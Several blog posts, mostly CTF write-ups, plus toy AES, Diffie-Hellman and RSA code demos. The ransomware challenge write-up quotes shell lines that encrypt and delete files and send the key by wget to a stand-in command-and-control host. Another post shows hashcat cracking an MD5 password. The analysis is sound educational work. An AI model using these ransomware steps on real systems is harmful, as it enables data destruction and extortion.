Square CTF 2017: Ciphercel

Ciphercel - Crypto (100 points)
    ● Crypto inside Google Sheets ● An office mouse scurried through the ceilings of Evil Robot Corp and spotted an unlocked computer. She shared this Google Sheet with us before she had to flee. Can you decipher it? ● Solves: 52 ● Download: https://docs.google.com/spreadsheets/d/14Rnn9mAOEGvJSD3_VUR32edmGAT21AVhh8vTqHRADjs/edit#gid=0

I put off doing this one because reverse engineering Excel formulae sounded like a nightmare, but it ended up being totally fun. Also I’m pretty sure I solved it in an insane way – it sounds like the challenge creator(s?) intended this challenge to be solved by hand.

We’re presented with a Google Sheets document (reference copy here in case the official one disappears) containing four cells of note: key input and flag output, and a sample ciphertext and its decryption using the key input:

OK, so we’re meant to somehow figure out the correct key, which will give us both a correct decryption of the sample ciphertext and the level’s flag. Let’s have a look at what’s going on behind the scenes by undoing the white-on-white cell coloring for the guts of the cipher:

We’re working with 6 columns of data here (A through F), plus two special cells (D50 and E50). Most are cut off, but there’s a row for each character of ciphertext. Working through what’s happening in each column:

A is the (1-indexed) index of ciphertext characters.
B is each letter in the alphabet, non-repeating.
C is =FIND(B51,D50): the index (1-indexed) of the current row’s cell in column B within the previous row’s cell in column D.
D is =CONCAT(LEFT(D50,C51), SUBSTITUTE(MID(D50,C51+1, LEN(D50)), B51, "")): a mildly annoying to parse formula that forms the state generation function of the key derivation algorithm.
E and F are, respectively, the ciphertext and plaintext split into individuals chars.
F’s formula is the actual encryption algorithm: =IFERROR(MID($E$50, FIND(E51, $E$50)+20, 1), E51)

D50’s formula is =CONCAT(LEFT(REGEXREPLACE(LOWER(B4), "[^a-z]", ""), 10), "abcdefghijklmnopqrstuvwxyz"): The input key (cell B4), with all alpha chars made lowercase and all non-alpha characters removed, cut to the 10 left-most characters, then with the entire alphabet concatenated.

E50’s formula is D76 (the final state of key derivation) concatenated with itself (duplicated). E50 is the actual key used in encryption.

Here’s what I wrote about the key derivation algorithm (D) during the RE process:

to update the state, we need to generate d_left and d_right.
d_left is the first c chars of the current state
d_right is the remainder of the chars (position c to the end)
with all occurrences of b deleted.

we update the state with the concatenation of d_left and d_right

And here’s what I wrote about the encryption algorithm:

to encrypt, we operate char by char.
we first get the index of the first occurrence of the plaintext char
in the master key, add 20 to that index, and call it findval.
the encrypted char is the findvalth character of e50

That’s all pretty stream-of-consciousness from the midst of flow, so it might be easier to look at the Python in my solution, or to just stare at the Excel formulae yourself.

Using that understanding of key derivation and encryption, I implemented both in Python so I could write a script to search the keyspace for me. The search would involve checking whether a given key decrypts the ciphertext successfully. It was easy to figure out the target plaintext: passing the ciphertext through quipqiup (mostly) solves it – it’s the first sentence of the Recursive Set Wikipedia article.

ta kzxwgpdjtctpf prozif, d nop zs adpgidc agxjoin tn kdccom iokgintho, kzxwgpdjco zi moktmdjco ts proio tn da dcyzitprx ertkr poixtadpon dspoi d statpo dxzgap zs ptxo (ertkr xdf mowoam za pro ythoa agxjoi) dam kziiokpcf moktmon eroproi d ythoa agxjoi joczayn pz pro nop.
In computability theory, a set of natural numbers is called recursive, computable or decidable if there is an algorithm which terminates after a finite amount of time (which may depend on the given number) and correctly decides whether a given number belongs to the set.

Since it seems that the key/message space isn’t 1:1 (that is, a given decrypt can be achieved with multiple different keys), I thought I’d first try a bit of exhaustive search. The key is truncated to 10 chars max, and 2610 is a bit too big (roughly 248) for a full exhaustive search, but I looped through one through four chars in an hour or so with no luck. At this point I was pretty sure that some manual differential cryptanalysis is the intended solution, but I didn’t have any great ideas about how to go about this, and just messing around by hand wasn’t getting me very far. I think the best I could do was getting “in co” as the first four chars of plaintext before I gave up on that approach.

Since this cipher has very poor avalanche properties, and we have a known-plaintext/ciphertext pair, we can still bruteforce without a full exhaustive search of the keyspace. All we have to do is try all 26 values in each key position sequentially, scoring each trial decrypt, and keeping the highest-scoring (closest to the correct decryption) value. I implemented this, but this search method would immediately get stuck on a decently-scoring (~60% correct) key. I puzzled through how to get around this before deciding on trying something probably technically very stupid. I remembered watching a talk at some point about Quantum Annealing, a QC concept that involves using quantum effects to ‘break through’ local minima in the process of finding a solution. What I ended up doing:
● Loop through the char-by-char scored search method described above
● Keep track of the last 2 attempts’ scores
● If the scores are the same, randomly select one key char and change it to a random character
● Keep looping until we get a perfect score of 270 matching chars

I added some rudimentary progress-bar style score visualizing. Here’s what it looks like!

Here’s my code.

I don’t really get most of this stuff but from some Wikipedia skimming it seems like Simulated Annealing is closer to what I’m actually doing. Anyway, I parallelized this by running the script on as many cores as I had quick access to, and found the key (and flag) within about 15 minutes. Using PyPy gave me a speedup of roughly 3x, by the way, with no additional effort required!

I feel a little guilty for solving this in a ridiculous way, but I mostly just had a lot of fun. I definitely didn’t expect my method to work so I was very excited when it did.


Square CTF 2017: Sniffed Off the Wire

Sniffed Off the Wire - Forensics (100 points)
    ● Sifting through the noise ● After weeks of perching, our avian operatives captured a suspicious network flow. Maybe there's valuable data inside? ● Solves: 58 ● Download: https://cdn.squarectf.com/challenges/sniffed-off-the-wire.pcap

I like pcap challenges, so I think this was the first one I tried during this CTF after the requisite and quick classical crypto challenges. We’re given a .pcap that (refreshingly) only contains a very simple one-way stream of packets (and their ACKs):

The ports don’t really mean anything to me, so let’s look at the payloads. Each payload is 7-9 bytes. We can decode the hex manually, but it’s much easier to use Wireshark’s “follow TCP stream” tool:

OK, that’s useful. I happen to recognize these as looking like terminal escape codes, followed by individual characters. I thought that maybe if we only look at the individual characters we’ll get something useful, but it’s not valid base64. My next try happened to work – a one-liner to cut out the payloads and pass them to xxd to unhexlify:

tshark -T fields -e data -r sniffed-off-the-wire.pcap | xxd -r -p

Here’s how it looks:

I actually ended up using asciinema just so that I could pause to copy the flag: flag-IGxKMshp46TgD3

Very cool challenge!

Writing AES primitives in Go

I found myself with some spare time last week, and decided to entertain myself by implementing AES in Go from scratch. I’ve played with Go a little before, specifically because I wanted a way to programmatically output the n th prime number (where nthprime(1) returns 2, nthprime(2) returns 3, etc)) and Python’s way too slow for crunching of that magnitude. It works well, though it’s fairly apparent that it’s the first thing I wrote in Go and there’s some serious StackExchange copy/pasting going on.

A brief interlude on Go vs. Python performance – while building nthprime.go (above), I ported the core operation (a Sieve of Eratosthenes) basically line-for-line to Python so that I could compare performance between the two languages. Here’s the sieve in Go, and here it is in Python. This was purely out of curiosity – you can easily look up benchmarks comparing any two programming languages, but it’s way more interesting to do it with your own code on your own machine.

For my code, Go is about 40x faster than Python:

Getting back to the subject, cryptography is a favorite subject of mine, and while I feel pretty comfortable with classic public-key crypto and the high- and medium-level concepts of symmetric ciphers, I figured I could stand to learn about the low-level guts of the world’s most popular block cipher. I chose to implement in Go for two reasons: 1) more practice with Go, and 2) while I love Python, it’d feel a bit wrong to implement something so performance-sensitive in a (relatively) slow language.

I got what I wanted – I learned a ton about AES and the underlying math, and I feel much more comfortable with Go than I did a week ago.

Here’s the result.

It’s purely a toy implementation with hardcoded test cases – it would take slightly more work to have it operate on arbitrary data (files/args/stdin), but real-world utility was not the point of this exercise. I’m already quite comfortable with block cipher modes of operation; my primary cryptographic interest was looking inside the black box of “perform block encryption” in every mode of operation diagram. Additionally, while I have verified that the encrypt/decrypt results of my code match standard implementations of AES, for obvious reasons it’s not a great idea to slot homebrew implementations of crypto primitives into anything that matters. I do plan on eventually using my implementation instead of Cryptography.io in my Python solutions to the Matasano crypto challenges, though I’ll have to figure out the best way to call binaries from Python without too much of a performance hit. That’ll just be for fun, though.

Here are some of the most interesting things that I learned in the process:

Galois fields are really hard to grasp intuitively. I ended up using lookup tables rather than implementing Galois multiplication/exponentiation/inversion, which I initially felt bad about (I wanted to implement purely from the Wikipedia description, no pseudocode or ports for reference).

It turns out that pretty much every production implementation of AES uses lookup tables and doesn’t do the Galois field operations ‘live’. As I learned from this great blog post, there are multiple degrees to which lookup tables can be substituted for live finite field math: none (Galois field operations applied at nearly every stage), S-boxes only (two 256-byte tables), S-boxes and MixColumns (S-boxes plus six more 256-byte tables, two for forward and four for inverse Galois multiplication), and full lookup tables (S-boxes, plus large lookup tables for the entire round operations of SubBytes, MixColumns, and ShiftRows).

I spent some time trying to understand computation in Galois fields, but was eventually faced with three choices:
1) spend a significant amount of time learning and getting comfortable with the underlying math so I could implement from scratch
2) copy someone else’s code
3) skip the math and use pure lookup tables.

1 was a bit out-of-scope based on my initial goals, so I decided on a blend of 2 and 3. My implementation uses lookup tables for S-boxes and MixColumns. There are some reference/example implementations out there that use no lookup tables, and some other people doing exactly what I’m doing using the same approach, but as I mentioned it looks like most production implementations use hardcoded full lookup tables – the round operations of SubBytes -> MixColumns -> ShiftRows -> AddRoundKey are reduced to LookupTable -> AddRoundKey. For example, the builtin Golang implementation of AES uses full lookup tables. This leaves a smaller surface area for bugs, but mostly it’s just way faster than calling multiple-instruction functions for Galois multiplication on every single round. This is assuming the CPU running these instructions has at least 24kB of data cache, which is a safe assumption for any modern x86 CPUs.

After I finished the project, I had the mental energy and motivation to actually sit down and get comfortable with Galois fields. I did this using this lecture and this Wikipedia article. I’m struck by the blatant overlap between multiplication in extension fields and bitwise operations (specifically XOR) – weird stuff.

The rest of the implementation was mostly straightforward – lots of test cases and higher-order functions. I did run into a brutal snag at the end, though: once I had successfully implemented the entire algorithm (key expansion, SubBytes/ShiftRows/MixColumns/AddRoundKey, and encryption/decryption) and verified that it was reversible (dec(enc(plaintext)) == plaintext), I compared the output of my function to the NIST test vectors. My code was doing something wrong – even though I had compared each complex function (key expansion, SubBytes, MixColumns)’s output to test vectors successfully, the assembled block cipher wasn’t behaving as expected. I pored over the code and the Wikipedia articles on AES for a while with no luck, then decided to do some in-depth print debugging.

This was a bit tricky though, because (as I mentioned) most implementations of AES just use large lookup tables instead of separate functions. I eventually found a solid Python3 implementation, and adapted it to do very thorough print-debugging, round-by-round:

After getting that set up, the issue was immediately apparent: I had skipped Wikipedia’s introductory paragraphs of the cipher description, which includes this very important item:

I wasn’t ‘rotating’ the state and roundkeys from the (normal) row-major order into column-major order. Performing this ‘rotation’ on each round key and the input/output resolved the issue and resulted in code that does the exact same thing as every other properly working implementation of low-level AES.

All in all an extremely satisfying endeavor. I ended up reading along the way that more modern ciphers (e.g. ChaCha20) are vastly simpler than AES/Rijndael, so I may attempt one of those in the near future.

Security Fest 2017 CTF: qr code madness

Qr code madness - Misc (200 + 0)
    ● Random pictures, this do not make sense ● Solves: 80 ● Download: http://dl.ctf.rocks/qrcodemadness.7z ● Author: d3vnu11

In the archive is a folder containing 114 very small PNG files of QR codes:

I grabbed zbar from Homebrew to allow for scripted parsing of the QR codes. Each QR code encodes a single ASCII character:

[tkerr@pro qrcodemadness]$ zbarimg --raw --quiet * | tr -d '\n'

OK, looks like base64 (even distribution of lower/uppercase, some numbers, and a few +s and =s), but it’s clearly out of order – the padding chars (==) are mixed in rather than trailing as they should be. Let’s try sorting numerically instead of alphabetically:

[tkerr@pro qrcodemadness]$ ls -1 | sort -n | xargs zbarimg --raw --quiet | tr -d '\n'

Nope. Well, we’re not going to get anywhere by trying random permutations…how else could the files be arranged? Let’s try modification date:

[tkerr@pro qrcodemadness]$ ls -1tr | xargs zbarimg --raw --quiet | tr -d '\n'

OK, looking good. Let’s try decoding:

[tkerr@pro qrcodemadness]$ ls -1tr | xargs zbarimg --raw --quiet | tr -d '\n' | base64 -D
Invalid character in input stream.

Hmm, so it’s the right character set, but the padding’s broken. Removing one = from the end allows decoding, but outputs total garbage. Let’s try just grabbing a chunk from the end and seeing where things start to go wrong:

[tkerr@pro qrcodemadness]$ echo "ZDNfazMzcF9wMHAxbmdfdXB9Cg==" | base64 -D

OK, that’s clearly the end of a flag, so it looks like we just need to start at a specific point midstream. I quickly check what the flag format (SCTF) looks like in base64 (U0NUR), and sure enough that’s present midway through the stream.

Here’s the final one-liner:

[tkerr@pro qrcodemadness]$ ls -1tr | tail -n 56 | xargs zbarimg --raw --quiet | tr -d '\n' | base64 -D

Security Fest 2017 CTF: ranshomware

Ranshomware - Crypto (100 + 0)
    ● We found an sh ransomware on a server. Can you help us recover the server's data? ● Solves: 12 ● Download: http://dl.ctf.rocks/ranshomware.zip ● Author: SecureLink / klondike

ranshomware.zip contains, as promised, ransomware in shell script form along with a directory that’s been hit:


All copies of encrypted.txt are identical:

All your files have been encrypted, pay us a lot of money 
to our accountand we'll give them back to you. Say 
so we can give you the right key

The Debian iso and flag.txt both contain uniform noise, evidently successfully encrypted.

The Script

Let’s step through the shell script:

key="$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 64 | head -1)"

First, key is defined by grabbing only the ascii chars that define hex bytes (0-9a-f) from /dev/urandom, splitting them into lines of 64 chars each, and grabbing the first line. This is a bit of a weird way to do it, but we’ll wind up with a 256-bit key in the form of a hex string. Bruteforcing the key is definitely out.

ekey="$(echo "$key" | openssl dgst -sha512 -hex | tail -c 128)"

Next, ekey is just the SHA512 hash of key, with the leading character truncated (probably a bug related to not taking newlines into account during tail -c 128). Reversing the hash is also definitely out.

wget "http://cac.example.com/?key=$key" -q -O /dev/null

iv is set to 0, and an (example) HTTP request theoretically delivers key to the command and control network.

The actual function is defined next: it takes one argument. If this is a directory, it writes ekey and some instructions into encrypted.txt, then calls itself recursively on the contents of the dir. iv is incremented on each execution of the function.

If the argument is a file, the real payload happens: the file is encrypted, the original is deleted, and the encrypted copy is moved into its place. The encryption itself deserves a close look:

openssl enc -e -aes-256-ctr -iv "$(printf "%032x" "$iv")" \
-K "$key" -in "$f" -out "$f.enc";


So we’re using OpenSSL for encryption, with AES-256 in the CTR mode of operation. The IV is $iv, formatted as a 16-byte (32 character) hex string left-padded with zeroes. I was initially excited, hoping it was as straightforward of an implementation flaw as nonce reuse in counter mode, but it took a little more figuring than that.

Let’s look at how CTR mode works, courtesy of Wikipedia’s article on block cipher modes of operation:

Crypto basics: in CTR/Counter mode, instead of directly encrypting the plaintext using AES, we’re using AES to create a stream cipher. For each block, we encrypt nonce || counter with the secret key to give us a block of keystream that we XOR with a block of the plaintext to get a block of the ciphertext. The nonce is ideally random, and the counter ideally incremented each block starting at all zeroes. Wikipedia’s diagram is not necessarily how AES-CTR is always implemented, but from this we’d expect 8 bytes of nonce and 8 bytes of counter (both AES-128 and AES-256 have a block width of 16 bytes).

Since we’re essentially working with a stream cipher in regards to the plaintext/ciphertext relationship, any reuse of keystream is effectively a many-time pad. Since one of the two files we’re given encrypted versions of (debian-40r9-amd64-businesscard.iso) seems like it should have a publicly-accessible plaintext version, it looks like we might be able to mount a known-plaintext attack. Indeed, googling the filename gives us the VDL of a Debian mirror where we can find an identically-named and -sized file.

Whipping up a quick python script to XOR the known plaintext with the ciphertext to get the keystream and apply this keystream to the encrypted flag only outputs garbage – of course, because of the IV incrementing built into the ransomware. Looking at the CTR mode diagram and keeping in mind the properties of AES (specifically the Avalanche effect), if the keystream source material (nonce || counter) is unique for every block encrypted, then we don’t have any easy attacks.

Next Steps

I spent some time mulling over the apparent lack of blatant weaknesses, and modified the ransomware script to provide some print debugging, and ran it on a ‘virgin’ version of the provided directory (minus all copies of encrypted.txt or any other ransomware crust):

[tkerr@pro sf]$ ./testiv.sh
current value of $iv: 1
current value of $iv: 2
current value of $iv: 3
found file orig/cd/debian-40r9-amd64-businesscard.iso - encrypting with iv 0x00000000000000000000000000000003
found dir orig/cd
current value of $iv: 4
current value of $iv: 5
found file orig/flags/flag.txt - encrypting with iv 0x00000000000000000000000000000005
found dir orig/flags
found dir orig

This is helpful – for the theoretical initial run of the ransomware, the IVs were 3 and 5 for the ISO and flag respectively. In thinking/talking this through, I realize something critical – despite the encyclopedia definition of CTR mode being nonce || counter for a total of 16 bytes, we’re feeding OpenSSL a full 16 bytes using the -iv argument.

I had initially assumed that “IV” was an alias for “nonce” in this implementation, probably with some left-stripping, but a bit of testing reveals that we’re not actually defining the nonce here, we’re defining the entire IV – OpenSSL is assuming we’re providing the entirety of nonce || counter and incrementing the right half of the input automatically for each block.

This is key – this means that for all files encrypted, the nonce will be 0x0000000000000000 and the counter will start from some low index based on the order of the files in question. This means the keystream will be identical for all files, other than the keystream being offset by a number of blocks equivalent to the difference in $iv at the time of each file’s encryption. Since we’re able to derive a big chunk of keystream thanks to the Debian ISO KPA, and “coincidentally” the Debian ISO was encrypted first, we should be able to decrypt any subsequent bytes up to the size of the Debian ISO (~33MiB).


Once the critical implementation error (feeding OpenSSL full IVs rather than just nonces) was realized, adapting the earlier attempt at a many-time pad attack was trivial. Here’s the Python I used, and here’s the result:

[tkerr@pro ranshomwared]$ ./crack-ranshomware.py
Hi man, I'm glad you solved this challenge!

So the flag? SURE!


Well, there is the flag, I hope you enjoy the rest of the challenges :)

tl;dr: Supplying OpenSSL a full 16-byte IV via the -iv argument doesn’t just set the nonce, it sets the entire nonce || counter input, and OpenSSL will automatically increment from the initial value. Since one of the provided pre-encrypted files has an easily-obtainable known plaintext, we can XOR the plaintext and ciphertext to get the AES-CTR keystream. Looking at the ransomware script helps us find the offset of the keystream that the flag was encrypted with. XORing the encrypted flag at the correct offset of the keystream gives us what we want.

Thanks to my wife for filling in as an incredibly overqualified rubber duck!

UIUCTF 2017: salted wounds

● 200 Points
● forensics
● By: Eric Hennenfent

There are some challenges I'd rather forget.


So to start, it’s a pdf, which could have any amount of craziness hidden inside it. A year or two ago, I watched a talk from an unknown infosec conference about how insane pdf is as a file format. I can’t find the talk, but it stuck with me. Anyway, we’re given what appears to be the USENIX paper on zmap. Downloading the original paper to compare, we can see that the original is 712246 bytes smaller than what we’ve been given – definitely something going on in there.

foremost is satisfied that it’s just a pdf, at least at first glance. Running binwalk -e to attempt extracting all visible files gives us 32 files of varying contents, and 32 zlib streams. Discarding the zlib streams, here’s what we have to work with:

[tkerr@pro _zmap.pdf.extracted]$ file *
10F72:  ASCII text, with very long lines
11B8F7: data
11CD6B: data
14210:  ASCII text, with very long lines
1D19D:  ASCII text, with very long lines
1E790:  ASCII text
21038:  ASCII text
2114A:  ASCII text, with very long lines
2244A:  ASCII text, with very long lines
252CD:  ASCII text, with very long lines
2B6F4:  ASCII text, with very long lines
30029:  data
3746:   ASCII text, with very long lines
409C8:  ASCII text, with very long lines
41E42:  ISO-8859 text, with very long lines, with no line terminators
42598:  ASCII text, with very long lines
43D53:  ASCII text, with very long lines, with no line terminators
454E5:  ASCII text, with very long lines
46AB0:  ASCII text, with very long lines
48227:  ASCII text, with very long lines
49714:  PostScript Type 1 font text (CMMI10 003.002)
4B316:  PostScript Type 1 font text (CMR10 003.002)
4CFCF:  PostScript Type 1 font text (CMSY10 003.002)
4EF8D:  PostScript Type 1 font text (MSBM10 003.002)
4F825:  PostScript Type 1 font program data
5062:   ASCII text, with very long lines
53EDE:  PostScript Type 1 font text (StandardSymL 001.005)
549FA:  PostScript Type 1 font text (NimbusRomNo9L-Medi 1.05)
5873D:  PostScript Type 1 font text (NimbusRomNo9L-Regu 1.05)
5D74E:  PostScript Type 1 font text (NimbusRomNo9L-ReguItal 1.05)
6212B:  ASCII text, with very long lines
EC5:    ASCII text, with very long lines

Some of these are straightforward (fonts), and most of the ASCII files are innocent-looking pdf payloads. I happened to start from the bottom of the list, and noticed that 6212B comprises one large block of base64. Decoding it gives us a .png:

The easy first steps of strings, foremost, binwalk, and stegsolve don’t immediately give me anything promising. I reverse image search it and find an imgur album by @SwiftOnSecurity that contains the original. The dimensions of both images are the same (1221×651), but the filesizes are different, so clearly something’s been done to the file. Using imagemagick’s compare, we can see that the entire image is identical except for the very first column, at the top left:

Very suspicious. My first glance in stegsolve only involved checking the LSB data of each color channel, row-wise. Setting stegsolve to extract LSBs from all channels column-wise gives us the flag:

UIUCTF 2017: eula

● 400 Points 
● crypto
● By: JP Smith

nc challenge.uiuc.tf 11345

throwback to when the aztecs sacked mitlan


Taking a look at the provided python, it looks like we somehow need to forge a signature for the message ‘right below’. Luckily for me, some of the T&C helped me immediately recognize the specific vulnerability they’re going for. Specifically:

    “we must use the latest versions of all libraries”,
    “we must use 2048-bit keys with e = 3”, and
    “DATED: 2015-07-29”

tell me that the intended solution uses Bleichenbacher’s signature forgery on e=3 and PKCS#1 v1.5, which python-rsa was vulnerable to until early 2016. I was at 33c3 a few months ago where one of my crypto role models, Filippo Valsorda, gave a session on implementing this specific attack against python-rsa. I didn’t find out about the session until after it happened, but I did end up reading his excellent article on the attack, which includes an example implementation.

Using Filippo’s example, we just have to change the target message to ‘right below’ and we have a fully functional forgery generator. Using it is straightforward:

I have no idea what “aztecs sacked mitlan” refers to, though. A really obtuse hint towards ASN.1?

UIUCTF 2017: crackme?

This was a fun one – I was the only person to solve this during the CTF yesterday. Here’s how I did it:

    ● crackme? ● 300 Points ● misc ● By: Dillon Korman
I'm trying to crack this guy's password, but I haven't had any luck so far. I heard he likes that Overwatch game and thinks he's some cool hacker. Think you can help me out? Hash: 55370b6cd985e7132c4e789224066bde Note: does not follow the flag{} format Hint: automated password cracking tools are good Hint: https://twitter.com/abrekke83/status/842513875337695235

A teammate from DC416 made a run at this with some fairly comprehensive custom Overwatch-themed wordlists with no luck. I first tried the usual easy tricks: googling the hash, Gromweb, and an exhaustive search of all printable ASCII up to 7 chars (since it only takes ~30 seconds). No luck.

My next step was to grab a list of all of the playable Overwatch characters from here. Since a couple of the characters (Lúcio, Torbjörn) have non-latin characters, I also added latinized versions (Lucio, Torbjorn) to the list. I added alternate versions of a few other characters’ names to account for different stylings and capitalizations (Soldier: 76, D.Va, McCree), and then duplicated the entire list as lowercase via
tr '[:upper:]' '[:lower:]' < owchars.txt | uniq >> owchars.txt
This gave me this list.

Running that through hashcat gave me no hits, both on its own and using best64.rule (which permuted 59 candidates into 4543).

With that exhausted, I looked at the Twitter hint – it seemed pretty apparent that we’re intended to try adding some variation of ‘main’ to a character name. In the interest of being thorough, I wrote a quick python script to append variants of ‘main’ to each character name variant, using multiple different joining characters. That resulted in this 1593-line list.

Running that list through hashcat with best64.rule (122661 total candidates) gave no hits. I looked at the challenge again to make sure I was on the right track, and noticed “and thinks he’s some cool hacker” for the first time. That seems straightforward – do some leetspeak character substitution (l1k3 th!5). Luckily hashcat includes a very thorough leetspeak rule (1593 lines became 4892103 candidates), and passing owmains.txt through it gave us a successful crack.

[tyler@tower hashcat-3.5.0]$ ./hashcat64.exe -m 0 -a 0 -r rules/unix-ninja-leetspeak.rule 55370b6cd985e7132c4e789224066bde owmains.txt
hashcat (v3.5.0) starting...

OpenCL Platform #1: NVIDIA Corporation
* Device #1: GeForce GTX 960, 1024/4096 MB allocatable, 8MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 3071


Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: 55370b6cd985e7132c4e789224066bde
Time.Started.....: Sat Apr 29 15:13:08 2017 (0 secs)
Time.Estimated...: Sat Apr 29 15:13:08 2017 (0 secs)
Guess.Base.......: File (owmains.txt)
Guess.Mod........: Rules (rules/unix-ninja-leetspeak.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   160.9 MH/s (0.27ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3297510/4892103 (67.40%)
Rejected.........: 0/3297510 (0.00%)
Restore.Point....: 0/1593 (0.00%)
Candidates.#1....: Genjimain -> z3ny@tt@~MAIN
HWMon.Dev.#1.....: Temp: 50c Fan:  0% Util: 99% Core:1404MHz Mem:3004MHz Bus:8

toy implementations of Diffie-Hellman and RSA

I love cryptography, and I especially love the math behind public-key crypto and its (relative) simplicity when distilled. However, I still find myself losing a firm mental grasp on the entirety of the cryptosystem if I haven’t thought about it in a while. Since I try to keep fresh with Python even though I don’t use it every day, I figured writing toy implementations of Diffie-Hellman and RSA in Python would be a good way to refresh both of those areas.

Here’s the sample output of a run of the DH demo:

generator g = 2
safe prime p = 964738809dbecd4bcb9ba1d18de0f5a6fbd595383c2dbe460f8dfd6dea62d2a6bca4016806c788e89872e888137d767030c72a17ac7d6cc33e5b44a9c17ad32412656ac0770829412b502dc6010545cc26043b55bbccf7946de94c0a4c1c0386a255d9101a235e0427aefb003cc7a6e64c0860349fc6e220fc7fef110a60ad727e6af317cefbeab4216e0f76dadb816cfdf2cd90549340dc7eef977a7c3133f854088b0390a4d55d6244bc2f8f532401f6d224379b475fd1e30e4de0e52fba9273b742773dcea2c427804d3273d2f2cbcfb4d5deeb80c05282563a37777cabb4c0de696f41f622f6e59b613925ba6ec21b5b380d42f36aa6997fb6f4efcc5b4b
random secret a = 5d089da62d878fde8749d1f1bd366d789f68c453c955076e5d7d016b3b5a1b70
random secret b = 5c81b7ab27b1c7256b8aebaa5817ff2f79e23a3db7ae521633136226bfd11cac

g ^ a mod p = 8aa9704ee8f4b069b65afa1e2515ee0177cf547420d78cd14e52ef07162a2159f04406eb88d2f8019dc0e37a4fb17c42bd93caf143436ff1f229f6a909fa015c43774ec066fed8f8d699a31f7b8c207d700c3f5c4c1e7aa50afb80b9233cfa5b00c4f0b0aad7c011affef7df650bdf281d48961fd2acb2ad96d6e1ea19e910ee793f4103262d68e81dfaaf60b7e27e69d41c7d5729231e2c118d533093aadbc6b0fa983e5f28f0a92a1df4370105643940f67db1584d06d8f4dff7a14c91186587c6a7663505eefe42274a9b2b51faf5ac3ce1653f0ff016b1abd8217652b5e3916d519d3087bffb28ea3c8b69b8e496f0aa05c0142876e0a716b98fe4ae6c03
g ^ b mod p = 600008e084d3234eb57996affb5a5e15cea6017c3af118dca59b7aae5476ccba8b3dbe2051a7340240894dcf44ba4705052e55668674bdc3dab10332e7bd9061dbbe7a3430c0c891e0a651bd6778e791fcc95a5c6ae952660eea9b6fb65e503c9d7b94f7355b51872380b2e4fcbc94f0fcfa83e437e677d5796ac016c92f651391cad83db247cd12ecdb703df17a35efd93141d8219420be02e4a941820a4eaa2eb1ddda992589d83650ce22c8bd3db4b7b062eb66abd6dab6181002b95b6daa383b56ae37c8a378d71b6ca88b6099c3313d6b3e5299b5960b6eafea2761ca8807138b773b63035fe429178e52bd5656c7e278eac85e6d952de47d24e3c6cab5

alice derives premaster secret via (g^b)^a mod p: 7d9ca5dc613b1f965d7adfa695d7d2a8aeeadc0a063d609ace20d92ceb504b7c9ca03196056f9d5dabe3a8a7a0161666322c9dc3b6521b05829d4ef3ff5b0db5ee04fdb4cc80052e82f0036d7414b84fdfd5687c2c95c118aa433a92c52c1124cb69082889ce4aac2cb8bfeb1657b59337c516c3db026e4bfdd343de2e2088a1109e63e6bfe5000351631465a808f2b1ede8ba7d36bd9e71511f5ad4e8e31550fd3ac15301c3e8f89cf710fa04722a26ea1080d631a857fcae69150712ab80a38df795920022195a7df2363962736653cfa7704343064eb693fa28dd7b718c31000301f41ae568700b48327b99602b12f53a9f8938ae56839273ff8dec0ddad6
bob derives premaster secret via (g^a)^b mod p: 7d9ca5dc613b1f965d7adfa695d7d2a8aeeadc0a063d609ace20d92ceb504b7c9ca03196056f9d5dabe3a8a7a0161666322c9dc3b6521b05829d4ef3ff5b0db5ee04fdb4cc80052e82f0036d7414b84fdfd5687c2c95c118aa433a92c52c1124cb69082889ce4aac2cb8bfeb1657b59337c516c3db026e4bfdd343de2e2088a1109e63e6bfe5000351631465a808f2b1ede8ba7d36bd9e71511f5ad4e8e31550fd3ac15301c3e8f89cf710fa04722a26ea1080d631a857fcae69150712ab80a38df795920022195a7df2363962736653cfa7704343064eb693fa28dd7b718c31000301f41ae568700b48327b99602b12f53a9f8938ae56839273ff8dec0ddad6

secrets match, and can be used to derive a session key for symmetric encryption

Here’s the code on GitHub.

Here’s a sample output of the RSA demo:

############ KEY GENERATION ############

generating a 256-bit modulus
random large prime p = 7c3235989ff4fa33daafc7c6cddfedc09463709d0c06cedcb79a71201ef2249d
random large prime q = 7905b80fe0c2a96cad933d3c4fa89dad8d9c55da48f51eba3441b728a4336a01

modulus n (p * q) = 3ab6819bfa172018e0f59665592b67402a5bf8cdfc5ef61f4c35013bccc7a8ca258e2f52c654170a131f7676c1facbfb3b394c17de306540e589fb2a4162269d

φ(n) = (p - 1) * (q - 1) = 3ab6819bfa172018e0f59665592b67402a5bf8cdfc5ef61f4c35013bccc7a8c9305641aa459c73698adc7173a472408d193985a0893477a9f9add2e17e3c9800

public/encryption exponent e (statically set) = 10001
private/decryption exponent d (modular inversion of e mod φ(n)) = 3a8f0f2457c2bae3b5739ce6469290afa1d00b8ebf38a37841d4d7ff21d6bd94b45e43ae2531ceb6a4a60b8dd0a59796636348d0fe27d37637add417cd857801

############ ENCRYPTION ############

enter text to encrypt (encoded length must be less than keysize): attack at dawn

encoded cleartext as integer m: 61747461636b206174206461776e

ciphertext (m ^ e mod n): 185de13c3735dd22fd173e76276921f52e8fd5653dcad619fb5db6fb26964ec1bb98f8bc941706075672ad879745124ddc9fdc6a0b5ec35fbda872384a4cdb1a

############ DECRYPTION ############

decrypted ciphertext as int (c ^ d mod n): 61747461636b206174206461776e
decrypted ciphertext: attack at dawn

And here’s the gist for that one.

SRX/AWS VPN tunnel dropouts

One of my clients’ networks is made up of a number of small offices, all of which have VPN tunnels from their SRX210s to AWS, where their AD/file/application servers live. After the cloud migration, I was getting complaints from users of intermittent dropouts of AWS connectivity. They were experiencing this primarily as RDP sessions dropping, which could have many different causes, but I looked into it a bit. I was able to observe a couple dropouts of a few seconds each, but couldn’t find any causes or correlations at a glance.

